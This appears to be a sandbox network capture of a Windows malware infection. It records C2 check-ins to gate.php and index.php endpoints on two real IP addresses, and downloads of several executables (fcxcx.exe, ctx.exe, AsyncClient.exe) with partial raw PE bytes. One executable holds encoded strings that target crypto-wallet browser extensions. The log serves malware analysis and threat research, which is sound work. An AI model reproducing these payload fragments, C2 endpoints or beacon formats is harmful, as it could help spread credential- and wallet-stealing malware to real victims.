Dec 14, 2024 14:56:16.151988029 CET	672	IN	Data Raw: 75 d0 8b 75 ec 81 c6 36 8e 60 05 89 45 c4 01 75 c0 8b 75 08 89 45 d4 81 ee a0 37 00 00 8b 45 18 02 45 f0 33 ff 89 55 10 89 45 18 89 75 08 89 75 e0 89 7d 0c e9 d5 08 00 00 b8 af 69 00 00 66 39 45 0c 72 36 69 45 c8 dd 53 00 00 29 75 cc 8b 75 c4 01 Data Ascii: uu6`EuuE7EE3UEuu}if9Er6iES)uu(eEEE+f(euufEu;EuukEM)(e]fEEEME(ei(eiUE(eMumDivEEu
Dec 14, 2024 14:56:16.152096987 CET	1236	IN	Data Raw: f4 03 5d b8 2b 7d c4 81 45 d8 cf 38 00 00 89 45 bc 0f b6 c1 0f b6 0d f4 28 65 00 0f af c8 8b c3 0f af 45 08 c7 45 f8 7c ed 3f 69 89 7d 0c 80 c1 23 0f b7 f0 a1 c4 28 65 00 28 45 f0 05 c0 71 d4 be 01 45 e8 89 4d f4 8a 4d fc 8b 45 f4 66 d3 7d 14 8b Data Ascii: ]+}E8E(eEE\|?i}#(e(EqEMMEf}MEuuEUU;UUUE(e(eMuU3(eEE@P+Eml 0iMm5(eM(eEH-kEEE(eE
Dec 14, 2024 14:56:16.152146101 CET	1236	IN	Data Raw: 66 d3 7d 14 0f b6 4d bc a3 e4 28 65 00 b8 af 69 00 00 2b 05 e8 28 65 00 0f b7 c0 89 45 dc 89 45 d0 8b 45 f8 d3 e8 05 d2 c8 7a 45 89 55 10 89 45 f8 8b 45 14 89 45 c8 e9 55 01 00 00 3b 4d cc 75 56 2b 7d d8 8b 45 c4 8b 0d cc 28 65 00 d3 6d c0 8d 97 Data Ascii: f}M(ei+(eEEEzEUEEEU;MuV+}E(emE+EEi+(eEEEE}bEEE=isGfEzUf(e4.(eEBhMEEuE}f(eM
Dec 14, 2024 14:56:16.152158976 CET	448	IN	Data Raw: 2b ca 8b 45 f8 81 ea cd ea cd 47 98 0f bf c9 0f af c8 81 ee 61 58 00 00 89 55 ec 66 89 0d dc 28 65 00 e9 12 fd ff ff 66 8b 45 14 0f b7 55 0c 3b 55 e8 8b 55 10 98 89 45 a4 75 39 8b 45 c0 2b 05 e8 28 65 00 80 45 fc f0 01 15 e4 28 65 00 89 45 c0 8b Data Ascii: +EGaXUf(efEU;UUEu9E+(eE(eEEEMM(e)E;ErlM(eUfEE)EEf(e(efEEMEuMM+(emf}EEEME`E;uFE3M
Dec 14, 2024 14:56:16.152169943 CET	1236	IN	Data Raw: 01 4d c0 66 03 d0 69 45 c4 fc 5a 00 00 8b 4d 1c f7 d9 66 89 15 ec 28 65 00 2b c8 0f b7 c1 89 45 d4 e9 59 fb ff ff 0f b7 45 d0 3b d0 0f 85 4d fb ff ff 8b 45 f8 03 45 b4 8b 75 ec 69 d2 12 32 c9 e6 89 45 f8 66 03 05 dc 28 65 00 66 01 45 d0 8b 45 f8 Data Ascii: MfiEZMf(e+EYE;MEEui2Ef(efEEEUUUUf5(euUUM;MMMu9EUfE(eME*EEE)(eMU8UUvJM(eMinf(eEE
Dec 14, 2024 14:56:16.271862984 CET	1236	IN	Data Raw: 01 05 cc 28 65 00 8b 45 e4 00 45 18 8b 45 f4 0f b6 c0 6b c0 6d 69 c9 99 5f b2 44 89 75 e0 89 45 f4 81 e9 57 fa a6 51 0f b6 c0 89 4d 1c 03 d8 eb 75 0f bf 4d e0 8b 45 ec 3b c1 75 39 8b 4d 08 01 0d c4 28 65 00 0f b7 4d d0 2b 4d 14 8b 55 10 03 c1 8a Data Ascii: (eEEEkmi_DuEWQMuME;u9M(eM+MUMMMMf(efm}ME:(eu+}Em(eEiuOf(e3}UMU}EiEE;fE9Es+E(e(e(e_

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49848	185.81.68.147	80	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 14:56:15.616404057 CET	283	OUT	POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1 Host: 185.81.68.147 Pragma: no-cache Content-type: text/html Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3 Content-Length: 37
Dec 14, 2024 14:56:15.736301899 CET	37	OUT	Data Raw: 04 56 11 4f 50 4d 0d 4f 50 54 4f 05 44 08 48 03 4d 74 7d 74 7e 79 64 1a 65 76 49 03 5a 50 5f 0b 15 18 57 1a 09 Data Ascii: VOPMOPTODHMt}t~ydevIZP_W
Dec 14, 2024 14:56:17.262506008 CET	216	IN	HTTP/1.1 200 OK Date: Sat, 14 Dec 2024 21:56:16 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49853	185.81.68.147	80	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 14:56:17.384743929 CET	282	OUT	POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1 Host: 185.81.68.147 Pragma: no-cache Content-type: text/html Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3 Content-Length: 4
Dec 14, 2024 14:56:17.505045891 CET	6	OUT	Data Raw: 16 50 0b 54 Data Ascii: PT
Dec 14, 2024 14:56:19.200427055 CET	389	IN	HTTP/1.1 200 OK Date: Sat, 14 Dec 2024 21:56:18 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 171 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 56 45 0d 47 16 13 03 1c 4e 55 0b 00 16 00 05 1d 07 0d 1f 03 05 00 18 51 56 4d 56 1a 18 53 48 00 6b 6e 56 1a 58 44 4c 13 5c 16 4a 02 5a 56 17 0b 50 4a 05 0d 16 09 00 04 1e 56 45 4a 1f 52 4f 52 38 3f 05 1e 5e 42 44 15 5c 4b 49 57 08 05 16 5b 57 17 53 0b 4c 52 0d 04 4e 25 40 4c 56 5b 77 5f 58 50 5f 46 1f 52 4f 52 38 3f 05 1e 5e 42 44 15 5c 4b 49 57 08 05 16 5b 57 17 53 0b 4c 52 0d 04 4e 26 46 5c 54 5c 1a 56 49 50 3c 38 01 4b 5f 43 41 45 0f 4d 19 07 08 50 48 5c 57 48 06 08 16 52 52 0e 4a 50 01 4d 5c 4b 04 69 39 Data Ascii: VEGNUQVMVSHknVXDL\JZVPJVEJROR8?^BD\KIW[WSLRN%@LV[w_XP_FROR8?^BD\KIW[WSLRN&F\T\VIP<8K_CAEMPH\WHRRJPM\Ki9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49859	185.81.68.147	80	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 14:56:19.322721004 CET	234	OUT	GET /fcxcx.exe HTTP/1.1 Host: 185.81.68.147 Pragma: no-cache Content-type: text/html Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3
Dec 14, 2024 14:56:20.671547890 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 14 Dec 2024 21:56:19 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 Last-Modified: Tue, 10 Dec 2024 22:39:28 GMT ETag: "4b200-628f2276e1a78" Accept-Ranges: bytes Content-Length: 307712 Connection: close Content-Type: application/x-msdownload Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 dc 48 28 d2 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 30 00 00 e4 02 00 00 cc 01 00 00 00 00 00 8e 02 03 00 00 20 00 00 00 20 03 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 20 05 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 40 02 03 00 4b 00 00 00 00 20 03 00 c6 c9 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 05 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELH(0 @ @@K H.text `.rsrc @@.reloc@BpH (wautofill5tYWRqaWVoamhhamJ8WW9yb2lXYWxsZXQKaWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8VHJvbmxpbmsKamJkYW9jbmVpaWlubWpiamxnYWxoY2VsZ2Jlam1uaWR8TmlmdHlXYWxsZXQKbmtiaWhmYmVvZ2FlYW
Dec 14, 2024 14:56:20.671585083 CET	1236	IN	Data Raw: 39 00 6c 00 61 00 47 00 78 00 6c 00 5a 00 6d 00 35 00 72 00 62 00 32 00 52 00 69 00 5a 00 57 00 5a 00 6e 00 63 00 47 00 64 00 72 00 62 00 6d 00 35 00 38 00 54 00 57 00 56 00 30 00 59 00 57 00 31 00 68 00 63 00 32 00 73 00 4b 00 59 00 57 00 5a 00 Data Ascii: 9laGxlZm5rb2RiZWZncGdrbm58TWV0YW1hc2sKYWZiY2JqcGJwZmFkbGttaG1jbGhrZWVvZG1hbWNmbGN8TWF0aFdhbGxldApobmZhbmtub2NmZW9mYmRkZ2Np
Dec 14, 2024 14:56:20.671619892 CET	448	IN	Data Raw: 62 00 32 00 31 00 69 00 59 00 58 00 51 00 4b 00 5a 00 6d 00 68 00 70 00 62 00 47 00 46 00 6f 00 5a 00 57 00 6c 00 74 00 5a 00 32 00 78 00 70 00 5a 00 32 00 35 00 6b 00 5a 00 47 00 74 00 71 00 5a 00 32 00 39 00 6d 00 61 00 32 00 4e 00 69 00 5a 00 Data Ascii: b21iYXQKZmhpbGFoZWltZ2xpZ25kZGtqZ29ma2NiZ2VraGVuYmh8QXRvbWljV2FsbGV0Cm5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfE1ld0N4Cm
Dec 14, 2024 14:56:20.671653986 CET	1236	IN	Data Raw: 66 00 46 00 4e 00 68 00 64 00 48 00 56 00 79 00 62 00 6c 00 64 00 68 00 62 00 47 00 78 00 6c 00 64 00 41 00 70 00 6d 00 62 00 6d 00 70 00 6f 00 62 00 57 00 74 00 6f 00 61 00 47 00 31 00 72 00 59 00 6d 00 70 00 72 00 61 00 32 00 46 00 69 00 62 00 Data Ascii: fFNhdHVybldhbGxldApmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3xSb25pbldhbGxldAphaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcH
Dec 14, 2024 14:56:20.671691895 CET	1236	IN	Data Raw: 48 68 58 70 45 fd 19 8f de 6c 87 94 7b f8 b7 52 73 d3 23 ab 4b 02 e2 72 1f 8f 57 e3 55 ab 2a 66 eb 28 07 b2 b5 c2 03 2f c5 7b 9a 86 37 08 a5 d3 28 87 f2 30 bf a5 b2 23 03 6a ba 02 16 82 5c ed cf 1c 2b 8a 79 b4 92 a7 07 f2 f0 f3 69 e2 a1 4e da f4 Data Ascii: HhXpEl{Rs#KrWU*f(/{7(0#j\+yiNe4b.S4U2u9`@q^nQ!>=>FMT]qoP`$@CwgB[8y\|GB\|+H2pZrNl8V=-9'6d
Dec 14, 2024 14:56:20.671725035 CET	1236	IN	Data Raw: 6f 00 63 00 65 00 73 00 73 00 49 00 6e 00 66 00 6f 00 6f 00 63 00 65 00 73 00 73 00 20 00 57 00 68 00 65 00 72 00 65 00 20 00 53 00 50 00 72 00 6f 00 63 00 65 00 73 00 73 00 49 00 6e 00 66 00 6f 00 65 00 73 00 73 00 69 00 6f 00 6e 00 49 00 64 00 Data Ascii: ocessInfoocess Where SProcessInfoessionId='cc\|\|ww{{kkooTP`00gg}V++bMvvE@}}YYGGAg_E#Srr[u=jL&&Zl66A~?
Dec 14, 2024 14:56:20.671822071 CET	1236	IN	Data Raw: 3b ab 6b cb 1f 9d 45 f1 ac fa 58 ab 4b e3 03 93 20 30 fa 55 ad 76 6d f6 88 cc 76 91 f5 02 4c 25 4f e5 d7 fc c5 2a cb d7 26 35 44 80 b5 62 a3 8f de b1 5a 49 25 ba 1b 67 45 ea 0e 98 5d fe c0 e1 c3 2f 75 02 81 4c f0 12 8d 46 97 a3 6b d3 f9 c6 03 8f Data Ascii: ;kEXK 0UvmvL%O&5DbZI%gE]/uLFk_mzRY-Xt!Ii)DujyxX>k'qO f}:cJ1Q3`bSEdwk+pHhXElR{s#rKWfU(/{70(#j\
Dec 14, 2024 14:56:20.671895027 CET	1236	IN	Data Raw: cc 4f 83 cc 34 5c 68 34 a5 f4 51 a5 e5 34 d1 e5 f1 08 f9 f1 71 93 e2 71 d8 73 ab d8 31 53 62 31 15 3f 2a 15 04 0c 08 04 c7 52 95 c7 23 65 46 23 c3 5e 9d c3 18 28 30 18 96 a1 37 96 05 0f 0a 05 9a b5 2f 9a 07 09 0e 07 12 36 24 12 80 9b 1b 80 e2 3d Data Ascii: O4\h4Q4qqs1Sb1?R#eF#^(07/6$=&'iN'uu,tX,.4-6nnZZ[RR;Mv;a}){R)>/q^/SSh, `@ y[[jjFg9Kr9JJLLXXJkO
Dec 14, 2024 14:56:20.671947002 CET	1236	IN	Data Raw: 4a 00 74 00 62 00 32 00 35 00 35 00 56 00 32 00 46 00 73 00 62 00 47 00 56 00 30 00 43 00 6d 00 46 00 6c 00 59 00 57 00 4e 00 6f 00 61 00 32 00 35 00 74 00 5a 00 57 00 5a 00 77 00 61 00 47 00 56 00 77 00 59 00 32 00 4e 00 70 00 62 00 32 00 35 00 Data Ascii: Jtb255V2FsbGV0CmFlYWNoa25tZWZwaGVwY2Npb25ib29oY2tvbm9lZW1nfENvaW45OFdhbGxldApjZ2Vlb2RwZmFnamNlZWZpZWZsbWRmcGhwbGtlbmxma3xU
Dec 14, 2024 14:56:20.671983004 CET	1236	IN	Data Raw: 63 00 47 00 56 00 6a 00 59 00 57 00 46 00 6b 00 5a 00 32 00 5a 00 69 00 59 00 32 00 64 00 6e 00 5a 00 6d 00 70 00 6d 00 62 00 6d 00 31 00 38 00 54 00 57 00 46 00 70 00 59 00 58 00 4a 00 45 00 5a 00 55 00 5a 00 70 00 56 00 32 00 46 00 73 00 62 00 Data Ascii: cGVjYWFkZ2ZiY2dnZmpmbm18TWFpYXJEZUZpV2FsbGV0CmJoZ2hvYW1hcGNkcGJvaHBoaWdvb29hZGRpbnBrYmFpfEF1dGhlbnRpY2F0b3IKb29ramxia2lpam
Dec 14, 2024 14:56:20.791919947 CET	1236	IN	Data Raw: 61 00 57 00 39 00 6f 00 5a 00 57 00 35 00 72 00 61 00 6d 00 6c 00 69 00 62 00 6d 00 31 00 68 00 5a 00 47 00 70 00 70 00 5a 00 57 00 68 00 71 00 61 00 47 00 46 00 71 00 59 00 6e 00 78 00 5a 00 62 00 33 00 4a 00 76 00 61 00 56 00 64 00 68 00 62 00 Data Ascii: aW9oZW5ramlibm1hZGppZWhqaGFqYnxZb3JvaVdhbGxldAppYm5lamRmam1ta3BjbmxwZWJrbG1ua29lb2lob2ZlY3xUcm9ubGluawpqYmRhb2NuZWlpaW5tam

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49865	185.81.68.147	80	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 14:56:21.716620922 CET	232	OUT	GET /ctx.exe HTTP/1.1 Host: 185.81.68.147 Pragma: no-cache Content-type: text/html Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3
Dec 14, 2024 14:56:23.066456079 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 14 Dec 2024 21:56:22 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 Last-Modified: Thu, 12 Dec 2024 07:53:47 GMT ETag: "6bc00-6290e03a93110" Accept-Ranges: bytes Content-Length: 441344 Connection: close Content-Type: application/x-msdownload Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 dd b6 42 53 99 d7 2c 00 99 d7 2c 00 99 d7 2c 00 8d bc 2f 01 94 d7 2c 00 8d bc 29 01 23 d7 2c 00 cb a2 28 01 8b d7 2c 00 cb a2 2f 01 8f d7 2c 00 cb a2 29 01 c0 d7 2c 00 a8 8b d1 00 9b d7 2c 00 8d bc 28 01 8e d7 2c 00 8d bc 2d 01 8a d7 2c 00 99 d7 2d 00 6a d7 2c 00 55 a2 25 01 98 d7 2c 00 55 a2 d3 00 98 d7 2c 00 55 a2 2e 01 98 d7 2c 00 52 69 63 68 99 d7 2c 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 8b 96 5a 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 1d 00 fa 04 00 00 00 02 00 00 00 00 00 aa a6 02 00 00 10 00 00 00 10 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 30 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$BS,,,/,)#,(,/,),,(,-,-j,U%,U,U.,Rich,PELZg@0@FE88@<.textz `.rdataIJ@@.datam`,H@.rsrct@@.relocEFv@B
Dec 14, 2024 14:56:23.066499949 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 68 60 Data Ascii: h`DYhDYj hEdnF6hDYj hEtF5h DYjhETuF5hDYj h$EoF5hDyYjh
Dec 14, 2024 14:56:23.066541910 CET	1236	IN	Data Raw: d3 45 00 b9 fc 72 46 00 e8 af 31 02 00 68 e0 de 44 00 e8 79 8f 02 00 59 c3 cc cc cc 6a 04 68 24 d3 45 00 b9 0c 72 46 00 e8 8f 31 02 00 68 40 df 44 00 e8 59 8f 02 00 59 c3 cc cc cc 6a 04 68 2c d3 45 00 b9 78 77 46 00 e8 6f 31 02 00 68 a0 df 44 00 Data Ascii: ErF1hDyYjh$ErF1h@DYYjh,ExwFo1hD9Yjh4EsFO1hDYjh<EhxF/1h`DYjhDE<uF1hDYjhLElF0h DYjhTElF0hD
Dec 14, 2024 14:56:23.066560030 CET	672	IN	Data Raw: 8a 02 00 59 c3 cc cc cc 6a 08 68 fc d4 45 00 b9 40 79 46 00 e8 cf 2c 02 00 68 80 ed 44 00 e8 99 8a 02 00 59 c3 cc cc cc 6a 14 68 08 d5 45 00 b9 04 77 46 00 e8 af 2c 02 00 68 e0 ed 44 00 e8 79 8a 02 00 59 c3 cc cc cc 6a 10 68 20 d5 45 00 b9 54 6c Data Ascii: YjhE@yF,hDYjhEwF,hDyYjh ETlF,h@DYYjh4EoFo,hD9Yjh<EqFO,hDYjhXEnF/,h`DYjhlEqF,hDYjhxErF
Dec 14, 2024 14:56:23.066592932 CET	1236	IN	Data Raw: 88 02 00 59 c3 cc cc cc 6a 40 68 e0 d6 45 00 b9 24 6c 46 00 e8 2f 2a 02 00 68 60 f5 44 00 e8 f9 87 02 00 59 c3 cc cc cc 6a 50 68 28 d7 45 00 b9 50 78 46 00 e8 0f 2a 02 00 68 c0 f5 44 00 e8 d9 87 02 00 59 c3 cc cc cc 6a 10 68 7c d7 45 00 b9 9c 6c Data Ascii: Yj@hE$lF/h`DYjPh(EPxFhDYjh\|ElF)h DYj4hEvF)hDYjhEpF)hDyYjPhEnF)h@DYYj@h0ExFo)hD9YjhtEtvF
Dec 14, 2024 14:56:23.066625118 CET	1236	IN	Data Raw: cc cc cc cc 68 00 04 45 00 e8 3a 83 02 00 59 c3 cc cc cc cc 68 60 04 45 00 e8 2a 83 02 00 59 c3 cc cc cc cc 6a 40 68 00 db 45 00 b9 3c 6f 46 00 e8 3f 25 02 00 68 c0 04 45 00 e8 09 83 02 00 59 c3 cc cc cc 6a 3f 68 50 db 45 00 b9 14 73 46 00 e8 1f Data Ascii: hE:Yh`E*Yj@hE<oF?%hEYj?hPEsF%h EYhEYjhF^rhEjhF>rhEj!h E@FyhEjYh`EZYj
Dec 14, 2024 14:56:23.066657066 CET	1236	IN	Data Raw: 00 00 8d 45 08 c7 45 fc 00 00 00 00 50 e8 58 5c 02 00 cc cc cc cc cc cc cc cc cc cc cc cc cc cc 55 8b ec 83 ec 0c 8d 4d f4 e8 42 ff ff ff 68 8c 45 46 00 8d 45 f4 50 e8 6a 8e 02 00 cc cc cc cc 55 8b ec 56 8b f1 0f 57 c0 8d 46 04 50 c7 06 24 16 45 Data Ascii: EEPX\UMBhEFEPjUVWFP$EfEPLE^]UVWFP$EfEPLE^]VWFu~Ou_^`_^3
Dec 14, 2024 14:56:23.066694021 CET	1236	IN	Data Raw: 16 45 00 66 0f d6 00 8d 46 04 50 e8 6d 87 02 00 c7 07 58 18 45 00 83 c4 08 8b 46 0c 8b 4e 10 89 47 0c 8b c7 89 4f 10 c7 07 64 18 45 00 5f 5e 5d c2 04 00 cc cc cc cc cc cc cc cc cc 55 8b ec 56 8b 75 08 0f 57 c0 57 8b f9 8d 47 04 50 c7 07 24 16 45 Data Ascii: EfFPmXEFNGOdE_^]UVuWWGP$EfFPXEFNGO_^]\|EUVWueuFyFAu+QR_^]UE
Dec 14, 2024 14:56:23.066854954 CET	1236	IN	Data Raw: 0c 50 89 45 f0 e8 79 64 02 00 83 c4 04 85 c0 0f 85 ce 00 00 00 89 45 fc 8b 46 08 85 c0 75 2e 6a 08 32 db e8 38 72 02 00 8b c8 83 c4 04 89 4d ec 89 39 c7 41 04 00 00 00 00 83 7e 3c 00 75 05 89 4e 3c eb 06 8b 46 40 89 48 04 89 4e 40 c7 45 fc ff ff Data Ascii: PEydEFu.j28rM9A~<uN<F@HN@EuLdtl<S_3uBP;Eu&w4VcuDVGdcGPVOHuPMdY_^[]Pb_P\_
Dec 14, 2024 14:56:23.066890955 CET	1120	IN	Data Raw: c4 08 5e c3 56 8b f1 8b 4e 24 85 c9 74 15 8b 11 3b ce 0f 95 c0 0f b6 c0 50 ff 52 10 c7 46 24 00 00 00 00 5e c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 55 8b ec 6a ff 68 2c 8d 44 00 64 a1 00 00 00 00 50 83 ec 14 a1 24 61 46 00 33 c5 89 45 f0 Data Ascii: ^VN$t;PRF$^Ujh,DdP$aF3ESVWPEdj("m}E}G$EN$tWG$uC}EO$PO$t;PRG$j(W4onWfEpt
Dec 14, 2024 14:56:23.190447092 CET	1236	IN	Data Raw: c1 47 04 75 31 8b 07 8b cf ff 10 8b c3 f0 0f c1 47 08 75 22 8b 07 8b cf ff 50 04 eb 19 8b 45 fc 89 43 58 8b 45 f8 89 7b 5c 89 43 60 c7 43 64 00 00 00 00 83 cb ff 8b 45 08 c7 86 bc 00 00 00 00 00 00 00 c7 86 c0 00 00 00 00 00 00 00 c7 86 c4 00 00 Data Ascii: Gu1Gu"PECXE{\C`CdEfFHt@}tGu_KuR_^[]UjhDdPQSVW$aF3PEdNHEtA

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	49871	185.215.113.43	80	5396	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 14:56:23.468885899 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 35 32 30 30 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1015200001&unit=246122658369
Dec 14, 2024 14:56:24.842947960 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 14 Dec 2024 13:56:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	49873	185.81.68.147	80	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 14:56:24.440799952 CET	240	OUT	GET /AsyncClient.exe HTTP/1.1 Host: 185.81.68.147 Pragma: no-cache Content-type: text/html Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3
Dec 14, 2024 14:56:25.778860092 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 14 Dec 2024 21:56:25 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 Last-Modified: Thu, 12 Dec 2024 06:36:36 GMT ETag: "be00-6290cefa0bb8c" Accept-Ranges: bytes Content-Length: 48640 Connection: close Content-Type: application/x-msdownload Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 e5 ad 2d 65 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 08 00 00 b2 00 00 00 0a 00 00 00 00 00 00 3e d0 00 00 00 20 00 00 00 e0 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 20 01 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 f0 cf 00 00 4b 00 00 00 00 e0 00 00 ff 07 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL-e> @ @K H.textD `.rsrc@@.reloc@B HYuV;$0xC=VDb9A./\(~~~~~~~~~~~**(>2~o?.s():((:(+:(':((9(vV(s on~9~o~~
Dec 14, 2024 14:56:25.778920889 CET	224	IN	Data Raw: 04 28 17 00 00 0a 39 0f 00 00 00 28 30 00 00 06 39 05 00 00 00 28 40 00 00 06 2a 56 72 36 25 00 70 7e 10 00 00 04 28 6f 00 00 0a 80 23 00 00 04 2a be 73 94 00 00 06 25 72 ea 20 00 70 6f 7f 00 00 06 72 e2 25 00 70 6f 8c 00 00 06 6f 89 00 00 06 28 Data Ascii: (9(09(@Vr6%p~(o#s%r por%poo( (s%r por%po%r%pooo( .s$^(o(M(^(((Oo*b D%-
Dec 14, 2024 14:56:25.779053926 CET	1236	IN	Data Raw: 00 04 28 e4 00 00 0a 80 2c 00 00 04 2a 32 7e 2e 00 00 04 02 6f 1f 00 00 0a 2a 32 7e 2e 00 00 04 02 6f 1b 00 00 0a 2a 32 02 28 e7 00 00 0a 28 58 00 00 06 2a 8e 1a 8d 44 00 00 01 25 19 02 d2 9c 25 18 02 1e 63 d2 9c 25 17 02 1f 10 63 d2 9c 25 16 02 Data Ascii: (,2~.o2~.o2((XD%%c%c%cND%%c2((X.s.V}0(}/J{/{0o{0X}0{0{/o"}0V(}2}1*2{
